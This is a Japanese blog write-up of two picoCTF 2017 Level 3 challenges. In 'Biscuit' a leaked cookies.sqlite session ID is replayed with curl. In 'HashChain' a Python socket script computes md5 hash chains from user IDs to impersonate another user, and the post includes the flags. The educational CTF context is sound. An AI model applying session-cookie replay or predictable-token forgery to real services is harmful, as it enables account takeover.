進行中の何か

主にIT系の調べたこと。やったことをまとめます。

picoCTF 2017 Level3 writeup 01

いよいよLevel3!
ひとまずどこからやろうかと思ってPointの低いやつから!

Biscuit

Webサイトを開くと「Access Denied」と表示され、後ろにはビスケットの絵が。  

ひとまずソースコードを見てみると以下の文面が。
super privateフォルダにcookies.sqliteファイルを置いてるよとのこと。
background-imageからファイルの置き場は「/private/cookies.sqlite」と推察。

<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
<style>
body{
    background-image: url("private/image.png");
}
</style>

アクセスするとcookies.sqliteをダウンロードできた。
さっそくcookies.sqliteの中身を確認します。

# sqlite3 cookies.sqlite 
SQLite version 3.25.2 2018-09-25 19:08:10
Enter ".help" for usage hints.
sqlite> .tables
moz_cookies
sqlite> select * from moz_cookies;
1|localhost|0|0|ID|F3MAqpWxIvESiUNLHsflVd|localhost|/|1489365457|1489279130600290|1489279057101857|0|0

アクセス時にはIDという名前のCookieが付与されているので
先ほど取得した「F3MAqpWxIvESiUNLHsflVd」をCookieに入れてアクセスしなおしてみる。

# curl shell2017.picoctf.com:46787 -H "Cookie: ID=F3MAqpWxIvESiUNLHsflVd"
(省略)
<div style='background:white;margin: auto;border: 1px solid red;width: 600px; margin-top: 20%;' >
<center>
<form style="font-size: 40px; ">
our flag is: a31bbaad652b861dec1cdf7a7fe9fc9d</form>
</center>
</div>
(省略)

flagはa31bbaad652b861dec1cdf7a7fe9fc9dでした。

HashChain

hcexample.pyが与えられる。
中身は以下のようなコード
seedからmd5hashを5回実行している。なのでhashの数珠繋ぎなのでhashchainなんでしょう!

import md5 #Must be run in python 2.7.x

#code used to calculate successive hashes in a hashchain. 
seed = "seedhash"

#this will find the 5th hash in the hashchain. This would be the correct response if prompted with the 6th hash in the hashchain
hashc = seed
for _ in xrange(5):
  hashc = md5.new(hashc).hexdigest()
 
print hashc

ncしろと書いているのでやってみる。
rを押すとIDとseedが表示される。

# nc shell2017.picoctf.com 7691

*******************************************
***            FlagKeeper 1.1           ***
*  now with HASHCHAIN AUTHENTICATION! XD  *
*******************************************

Would you like to register(r) or get flag(f)?

r/f?

r
Hello new user! Your ID is now 8512 and your assigned hashchain seed is e092aed5316b555a770029849e06a7de
Please validate your new ID by sending the hash before this one in your hashchain (it will hash to the one I give you):
47d56e8d1c058b81814b2a4a99c4db3d

fを実行するとこうなる。

f
This flag only for user 8320
Please authenticate as user 8320
e68d1e9ee47fc6b7b53dacae5e263f1f
Next token?

実行するたびにIDが変わってseedも変わる。
脆弱な部分があるとするとseedの作成方法。
IDをhashした値かなと思い実行してみると推測通り!

>>> import md5
>>> print md5.new("8512").hexdigest()
e092aed5316b555a770029849e06a7de

rで表示されていた通り、
validateするには表示されたhashの前のhashを入力しろということなので
ひたすらhashchainしてtokenと一致するhashの前のhashを送信するようなプログラムを作る。

# -*- coding:utf-8 -*-
import socket;
import md5

host = "shell2017.picoctf.com"
port = 7691

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))

s.recv(1024)
# fを選択
s.send("f\n")

# IDを取得
data = s.recv(1024)
id = data.split('\n')[0].split(' ')[5]
print "id: "+id

# tokenを取得
data = s.recv(1024)
token = data.split('\n')[0]
print "token: "+token

hashc = id
# ひたすらhashchain
while(True):
    nexthash = md5.new(hashc).hexdigest()
    if nexthash== token:
        break
    else:
        hashc = nexthash
# 計算したtokenを送信
s.send(hashc+'\n')
print (s.recv(1024))

実行した結果は以下の通り。

# python hashchain.py 
id: 2623
token: faebae6b6b8fec46fa5d04efc926369e
Hello user 2623! Here's the flag: 86ae851bf8a0f8e91369e3be72754328

flagは86ae851bf8a0f8e91369e3be72754328